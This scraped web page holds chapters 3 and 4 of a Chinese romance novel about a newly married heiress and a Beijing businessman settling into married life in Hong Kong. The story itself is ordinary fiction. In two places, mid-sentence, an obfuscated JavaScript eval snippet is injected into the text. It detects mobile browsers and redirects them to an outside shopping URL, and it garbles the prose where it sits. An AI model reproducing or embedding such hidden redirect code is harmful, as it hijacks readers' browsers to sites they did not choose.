《藏夜莺》 3. 第 3 章 说话间,她手里的手机连震了好几下。 殷宁遥:【?】 什么意思? 【干嘛挂我电话】 【不满意?我还有啊我还有啊】 殷大小姐一点也不满意自己被挂断,很快卷土重来,又弹来一个视频电话。 沈其蓁看也不看,飞快挂断,顺便打开免打扰模式。 整个空间瞬间恢复了安静。 林桉身上的气度依旧从容,仿佛什么都没听见。 她先去开门,没按指纹,当着他的面,输入密码。 站在她身后的人,突然来了一句:“所以,你喜欢什么类型的?” “滴滴滴” 密码错误。 沈其蓁闭了下眼。 不想面对。 她手抖了下,输错了最后一个数字。 她刚才明明腾不出手的嘛,干嘛非要接那个电话?下次殷宁遥的电话再也不接。 林桉看见她前面的数字,就已经猜到了密码。 他伸手过来,在面板上重新输入一遍。 这回门顺利打开。 林桉直接迈步进入,刚才那个问题,就跟她的幻听一样。 沈其蓁:“……” 她已经看出来,他根本不是真的想知道答案。 ——聪明人真不好玩。 她跟进去,将门关上。 其实密码很简单,就是他们领证那天的日期。 设置的时候她还想了一下,没有直接用自己用惯了的密码。不过他们之间的交集不多,约等于无,也找不出什么有意义的数字。想了想,最后就设了这个。 她问说:“你要改密码吗?” 林桉:“不用。” 沈其蓁点点头,那就用这个。 她把包包放下,有点不知道要做什么。跟他在同一屋檐下的体验感有点陌生。 她和家人一起住过,和朋友同学一起住过,但是还没有和一个男性一起住过。尤其这个人,还是她的丈夫。 他今天穿的也是一身黑色西装,和上次见面时一样。 他们上一次见面,谈的还是合作。 这一次见面,就变成了夫妻。 林桉解开领带,随意拿在手里,单手滑动了下手机,简单查看了下未读信息。 除了工作信息,剩下的全是他母亲的消息。 还没来得及看,那边已经一个电话打了过来。 林桉指尖一顿,接通。 “妈。” 他拿了个玻璃杯,倒了杯水。 听见称呼,沈其蓁好奇望过来一眼。 “你不在北京?” 林桉:“嗯。” “你最近怎么这么忙?”林太察觉到了异常。 最近每次想找他,都找不见人。有时候明明记得他回来了,但是再打电话过去找,人就又飞走了,要么是在香港,要么是在澳洲,反正全世界各地,就是不在京。 仔细一想,确实不对劲,她都不记得上次在家里见到他是什么时候了。 林桉言简意赅:“工作是比较多。” “那林檐怎么就能在家呢?” 林檐是他弟弟。他家中兄妹三个,还有一个最小的妹妹。 林桉面不改色道:“那是他的问题,您可以问问他,怎么这么闲。” 林太一噎:“……” 沈其蓁的唇角没忍住一弯。 他倚在桌边,喝了口水。一抬目,正好对上她投过来的视线。 结婚一事比较突然,很多流程都还没走,他们对于对方的家庭也比较陌生。 林桉打开免提。 可能是感应到她的好奇。 林女士的下一句话顺着话筒就往外放:“林桉,你不要给我打太极。” 前几年林太还比较收敛,尽量没怎么催。加上家里发生的事情比较多,她也没空管两个儿子。 但从去年开始,她看这两个儿子一个比一个单身得欢,终于坐不住了,挨个开始催。 开了个头,她就忍不住了:“我之前是不是提前跟你讲过,几位阿姨要来家里做客,我还特意让你记得回来,到时候几家千金也会来。结果呢?你又不在北京了?” 林太越说越生气。换做以前,她也不是爱攒局的人。现在这样频频社交,那是为了谁啊? 涉及的话题有些敏感,准确来说,和自己有关。沈其蓁没忍住又看过去一眼。 她结这个婚,是为了争权,他则是为了应对家里。 之前听说归听说,现在亲眼见识了下,还是有点唏嘘。 林桉语气温和:“我没有答应您要去。” 林太没好气:“那我也没有答应你可以不来。” 他拿母亲没有办法,只好先给个定心丸:“您不用操心我的个人问题,我有安排。” 林太没听出他的意思,只当他还是在推脱:“你有安排?你能有什么安排?我再不操心,你能安排十年。” 沈其蓁终于从他的脸上捕捉到了一缕无可奈何。 只有她知道他没在敷衍,他也确实做好了安排,只是还没法直接证明。 她就在现场,其实他可以将电话拿过来,让她出声打个招呼,这样是最简单也最直接的方式。 不过出乎她意料的是,他并没有这个打算。 “回头有时间再跟您细说。已经很晚了,您不是要睡美容觉?” 他还挺“贴心”。 林太:“我被你气到睡不着。” 结束通话之前,她不忘催促,要他赶紧回京。 等他打完电话,沈其蓁才发出声音,好奇问说:“你什么时候回北京?” 她应该是当做,他只偶尔过来住一两晚。 也可以理解,毕竟他的工作重心、生活重点,全都在千里之外的另一座城市。 林桉将手机放旁边,动手解开袖扣。 闻言,他看向她的眼睛,启唇道:“我没有要两地分居的打算。” 沈其蓁一愣。 林桉:“夫妻分居不是长宜之计。” 他说的有道理。既然结了婚,她当然也有想过这个问题。 她提前告诉他:“沈氏接下来那个项目的重心是在内陆市场。等拿下以后,我就会搬去北京。” 差不多再过几个月的时间。 她这个安排,是第一次宣之于口,他也是第一个知道的人。 林桉的神色未变,只是问她:“已经决定了?” 沈其蓁:“嗯。” 林桉颔了下首。不过,他提起这个,并不是要对她作什么要求,只是想说:“有时间的话,我会尽可能留在港城。” 也就是说,他会尽可能地迎合她这边的情况。 如此一来,那就再好不过,等度过这几个月就没什么问题了。 谈完正事,他走进主卧,先去洗漱。 明明是婚后第一次过来的人,连门锁密码都不知道,偏偏进主卧进得那么自然。 搬过来的这段时间,沈其蓁就住在主卧。 让他住在其他房间,好像也不对。可他住主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401507|200410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧,她—— 沈其蓁悄悄掐住指尖。 人在紧张的时候,总是会显得很忙碌。 她抱过电脑,点开看了几个明天要用的文件。 主卧的门没关,家里又很静,里面很快就隐约地传来了水流声。她没忍住望了一眼。 文件上的每个英文字符她都很熟悉,但是就是看不进去内容。 心浮气躁。 ——这种情况要怎么办? 她实在是没有经验。 而且,留给她思考的时间还很短。 正想着,里面的水流声戛然而止,沈其蓁的心跳毫无征兆地停了一拍。 他洗完澡了,那就轮到她了。 夫妻分居不是长宜之计。还有什么事不是长宜之计……?? 她才发现,有些问题能商量,但更多的是不好直接商量的问题。 她第一次自己开会,自己独立接项目都没这么紧张过。 实在不行,扔个方案让她来做吧。然后来个甲方,A方案不行,B方案不通过,等她做出来第十三版方案后,再跟她说要不还是用第一版吧。 拖无可拖,沈其蓁深吸一口气,索性直接起身去衣帽间选睡衣。 没有办法,她总不能彻夜工作。林生还没到需要太太这么辛勤工作养家的地步。 卧室里,他已经洗漱完,在回复手机里的信息。 这还是她第一次看见他这么私下里的样子。婚前他们见过的面不多,寥寥几次,他无一不是西装革履。 而现在,换下了严谨考究的黑色西装,他身上穿着一套深蓝色的睡衣。 这套睡衣她那边也有一套同样的女款。 沈其蓁收了收目光,钻进浴室。 林桉抬了下眼。 他还以为,她还要在客厅里待上一会。 时间比他想象的要短上不少。 他手机里其实没什么正事,只是在闲聊。 好友群里很热闹。 此时,所有人都在北京,就他不在。 【好奇怪啊,我们林总最近好像格外的忙。】 【而且忙碌的地点都不在北京,真巧啊。】 【不知道要去哪里才能有幸见到我们林总一面呢?】 最先会发现情况的,往往都是身边最近的人。 林桉压根没有要遮掩的意思。他发了几个比较大的红包,把质疑声刷了上去。 群里一众人:【???】 不过年不过节的,说发就发,更加有猫腻。 质疑声一点没被压住,反而炸出来了所有人。 【什么情况?我还在应酬呢,怎么突然发红包?】 【还能为什么,某人压舆论[斜眼笑]】 【@林桉,我先问清楚,这是封口费,还是什么费?不说清楚我不敢领啊。】 他的长指在手机背面点了点。 浴室的门把悄悄往下压,发出一点细微的声响。 沈其蓁努力装作平静无事,开门走出来。 不过么,要是真无事的话,她今天就不会规规矩矩地穿着长袖长裤的睡衣。 平时如果她自己在房间睡觉,往往都是各种各样漂漂亮亮舒舒服服的睡裙。 第一次要和一个男人同床共枕,她心里已经在掀海啸。 林桉看着她爬上另一边的床,又乖又规矩地,给中间留出了泾渭分明的一段距离。 他按了几下手机,回复道: 【沾喜气。】 “咔哒”。 是手机关掉的声音。 4.第 4 章 家里大部分的东西都是管家负责添置的。 沈其蓁搬进来之前,基本上就已经添置得七七八八,等她住进来后,又陆陆续续地往里面补充,直到一周前,这些工作才算是结束。 比如她衣帽间里的那套和他同款的睡衣,就是他们一起添置的。 其他东西都能准备得那么齐全,某些夫妻间需要用的私人物品,想也知道肯定有准备。 她还在胡思乱想,想着旁边自己还没打开看过的床头柜,就听见原本在看手机的人关掉手机的声音。 “……” 林桉揿灭房间的灯,也上了床。 时间已经过了晚十一点,明天不是周末,上班族到了休息的点,但北城那边的某一群人,可没那么兢兢业业。 林桉那三个字炸出了整个群的人。 沾喜气?沾什么喜气??? 如果说他最近确实太忙,实在没空出现,随手发上几个红包那也正常。人没到,钱到一下。有人调侃归调侃,他平时就不是个会理会的人。突然冒出这三个字来算什么意思?! 【@林桉 @林桉,你什么情况?】 【谁能告诉我最近林家又有什么喜事了?】 【你不是在出差吗?你不是在忙工作吗?沾什么喜气?@林桉,出来,你给我说清楚】 【我说呢,最近怎么那么忙,工作哪有那么忙啊?忙到你都能把我们的钱给挣掉了!】 整个群都被炸沸腾了,一转眼的功夫就是“99+”。 可是等一群人震惊完,回头一看,某个始作俑者在发完那三个字后就没再回过。 艾特一大堆都没用。 一群人被吊得不上不下,猜得正兴起的时候,群里某个和林桉同款的工作狂,甩了条链接出来。 ——标题是京泓集团昨日顺利收购德国某某公司的喜报。 发完后,他顺带泼一盆冷水:【别等了,还能是什么“喜”?】 就林桉那个人,还能有什么喜事?不是今天收购了这家,就是明天投资了那家。事业上一路高歌,情感上一片贫瘠。 这群人激动得,不知道的还以为他结婚了。 一群人排着队的:【……】 好扫兴。 还以为是什么呢。 切。 他们意兴阑珊地领掉林桉刚才发的几个红包,完事。 “打牌打牌,轮到谁了。” “可恶,下次见到他,我想揍他。” … 沈其蓁可就没有那么悠哉了。 关掉灯后,视觉陷入黑暗,注意力都被挪到了其它的感官上面。 他们用的是同一瓶沐浴露,附近是同样的香味。 她早上七点起的床,一直忙到现在,中间都没有午休,可是此时毫无困意。 大脑放空,想的是:没有夫妻生活,也不是长宜之计吧…… “项目过了吗?” 安静的空间里,他忽然出声。 就跟知道她在睡不着一样。 沈其蓁呆了一下,才回答说:“今天刚签完合同。” 林桉上次离开香港的那天,知道她在忙一个项目。直到她今天想起来给他发消息,他猜测项目应该是过了。 没忙完的话也不会想到他那边。 果不其然。 “结婚的事情,伯父伯母知道吗?” 他没直接称爸妈。还没见过面,单方面改口比较突兀。 “还不知道。” 他微顿,询问:“你要隐婚?” 她朋友不知道,家人也不知道。 沈其蓁摇头,“等我找个合适的时机说。” 她补充:“不会太久。” 她爷爷奶奶确实在准备相看她的婚事,他们给她挑选的那些人家,大部分都是港城的,只有小部分是在外地。 林家就是在那小部分里面,不然她也不会找上林桉。 不过,那是爷爷奶奶准备的,这名单过不了于锦那边。到了她那儿,所有非港城的人家都要被划掉,就连港城本地的,她兴许还要挑一挑距离,相距太远的也要再做考虑。 遇到难回答的问题就困了。 沈其蓁扭头看了看他。 林桉低声:“睡吧。” 他直接宣布她的作答可以结束了,并没有要做什么事的打算。 沈其蓁悬着那么久的心终于放下,毫无负担地道:“晚安。” 她睡姿可没那么规矩,说完就转向另一边侧睡去了。 半夜时分,林桉忽然醒了过来。 从深睡中醒来,他反应了几秒钟,才低眸看向紧挨在自己身边的某人。 她的气息太近,他独睡习惯了,才会被扰醒。 林桉默了默。 刚才还在担心某些事情的人,睡前乖乖地隔着条银河,肯定想不到入睡后的这个情况。 但婚后肯定是要习惯同床而眠。结婚和单身,不止是社会关系的转变。 只是微顿须臾,林桉就放任了自己的胳膊被她抱着睡。 他重新阖上眼。 … 清晨。 沈其蓁关掉闹钟后,继续埋在被子里赖床醒神。 上班简直是对人类最大的摧残。进公司之前,她在国外过得还是很潇洒的。除了偶尔的早课,她天天都能睡到自然醒。 进了公司以后,最开始在基层混,她不好迟到。后来升职,手下带人,她更不好迟到。 ——沈其蓁觉得她好像被道德绑架了。 过了几分钟。 下一个闹钟还没响,耳边传来细细密密的水流声。床上的人忽然睁开眼,看向浴室。 昨晚的记忆缓慢回笼。 她才想起来,昨晚她不是一个人睡的。 她四下看了看,昨晚睡前她还在自己那边,而现在—— 蓁蓁大王已经侵占了对方的领地。 迁移过程未知,迁移时间未知。 沈其蓁突然坐了起来,瞬间清醒。 ——她干了什么?! 林桉从浴室出来,擦着头发,拿手机看时间,随口道了声早。 她悄悄地瞟了瞟,他看起来没有什么异样。 ……应该是没有被侵略? 沈其蓁这才放下心,“早。你要出门吗?” 早晨起来,他的嗓音还有点冷冽,“待会我送你上班。” “嗯?” 她愣了一下,以为他要专门送自己去,“不用麻烦,我可以自己开车。” “不麻烦,我早上也要去沈氏。” 第二个闹钟响起来,沈其蓁打了个哈欠,一边关掉一边问:“去找我大哥?” 她大堂哥和他们这些弟弟妹妹不一样,早就在集团居于要职。 林桉如果有事要去沈氏,要么找的是她大伯,要么找的是她堂哥。 林桉颔首:“今天约了他谈事。” 沈其蓁也就没再拒绝。他在进入结婚后的状态,她虽然还不公开,但也不能处处逃避不配合。 她起床去换衣服。 和他不一样,她没有晚上洗完澡、早上还要洗个澡的习惯。 他好爱干净。 林桉早早准备好了,在门口等她。趁着空闲,他回复手机里的消息。 他一出差,公司里的工作事务就被移交到林檐的手里。 也就意味着,林檐早早就要起床,到公司去打卡上班。 这个点,他正被堵在路上,对大哥提出质疑:【你这个月怎么这么多公差?】 林桉挑了下眉。 那倒也不一定是公差。 他回说:【兄长的事情不要管。】 林檐: 【?】 【微笑】 【给个定位,我怀疑你现在在马尔代夫】 什么工作?八成是在度假。 林桉气定神闲地开了个位置共享,大方证明自己确实在香港。 林檐服了。 一点脾气都没了。 望着前面堵成长龙的车,他给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408375|200410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出十分友好、十分真挚的祝福: 【行,您出差,您好好出差。】 这边,沈其蓁终于收拾好了,“我好啦我好啦,我们走吧。” 半小时不见,沈小姐身上的睡衣已经换成了修身精致的一套米白色职业装,踩着一双七厘米的高跟鞋。妆化好了,还抽空挑了配套的首饰。 她太赶时间,一手拿过包,一手拉着他就往外走。 纤长的手指上戴着的婚戒,钻石微闪,与他手上那枚正好配套。 坐电梯时,沈其蓁还在忙着检查自己的唇妆。 嗯,很好,非常完美。 眼妆也好看,怎么这么会化呢? 她细心地一一检查,林桉就站在她的身后旁观。 他们两个,截然相反的两种生活碰撞了一下。 一个像老干部,一个像女明星。 哪怕是因为要工作,她的穿着已经尽量在克制低调了,但从细节里依旧可见些许精致的端倪。她尽可能地从低调的东西里,选出符合自己高调的标准的。 他也有个妹妹,但是远不及沈小姐如此“精致”。 ——意见倒是没有,只是觉得有些稀奇。 … 不多时,林桉的车停在了沈氏门口。 沈其蓁先跑路,留他去停车。紧赶慢赶,直到坐上电梯,才松一口气。 ——赶上了。 电梯上升着,楼层数字迅速变化。 神经慢慢地放松下来,沈其蓁到这时候才有空静下心来想一些事情。 昨晚在家门口刚看见他时,和现在俨然是两种心情。 和他相处的第一晚,比想象中的要轻松很多。 他不是难相处的人,甚至,远比想象中的要绅士。京城世家出来的贵公子,修养和气度都是一等一。 就是有点腹黑。= = 这段婚姻,似乎比她想象的要好。 将将到上班的点,她到的时候,员工们已经在准备开始工作。 沈其蓁才进办公室,内线电话就响了起来。 ——是她大哥。 她接起,“哥?” 家里人对她都很好,尤其是大伯一家。 她在外留学的时候,大伯驻扎海外工作,经常飞去她那边看她,大哥也常常往她那儿跑。时日一长,感情自然很亲近。 沈观复简要道:“上来一趟。” “好。” 沈其蓁顺便带着一份要让他签字的文件上楼。 她知道他那边现在有谁在,一点也不好奇大哥为什么叫她。 顶楼。 沈观复和林桉正在谈工作。 两人一个在港,一个在京,之前交集的机会不多,不过对于对方都不陌生。 聊着聊着,沈观复给他的茶盏添了下茶。 这茶是沈其蓁从老爷子那儿顺走,又分来给他的。 用来待贵客,毋庸置疑是够格的。 林桉习惯性地回了个叩手礼。 ——感谢倒茶。 沈观复敏锐地注意到,这位的手上戴了枚婚戒。 不过,京城林家,他记得最近没有送来请帖? 在心里过了一遍情况,他便收回了眼神,没有开口询问。 兴许是对方还没准备公开,等到送来请帖,再恭喜也不迟。 沈观复笑了笑,听见敲门声,让妹妹直接进来。 他们在聊工作,他想让沈其蓁跟在旁边学习学习。 她从进公司到现在,基本上都是由他带的。 家族里那么多弟妹,沈观复有资格带每一个人,只是他对其他人并没有这份耐心和用心,也就只带过这一个。 他看向沈其蓁,刚准备为他们介绍一下对方。 目光忽然定在了她的手上。 她抱着文件,戴着戒指的那只手径直进入他的视线。 不巧。 这枚戒指,他刚刚才看见过同样的一枚。 沈观复面上的笑意忽淡,他止了声,看向林桉。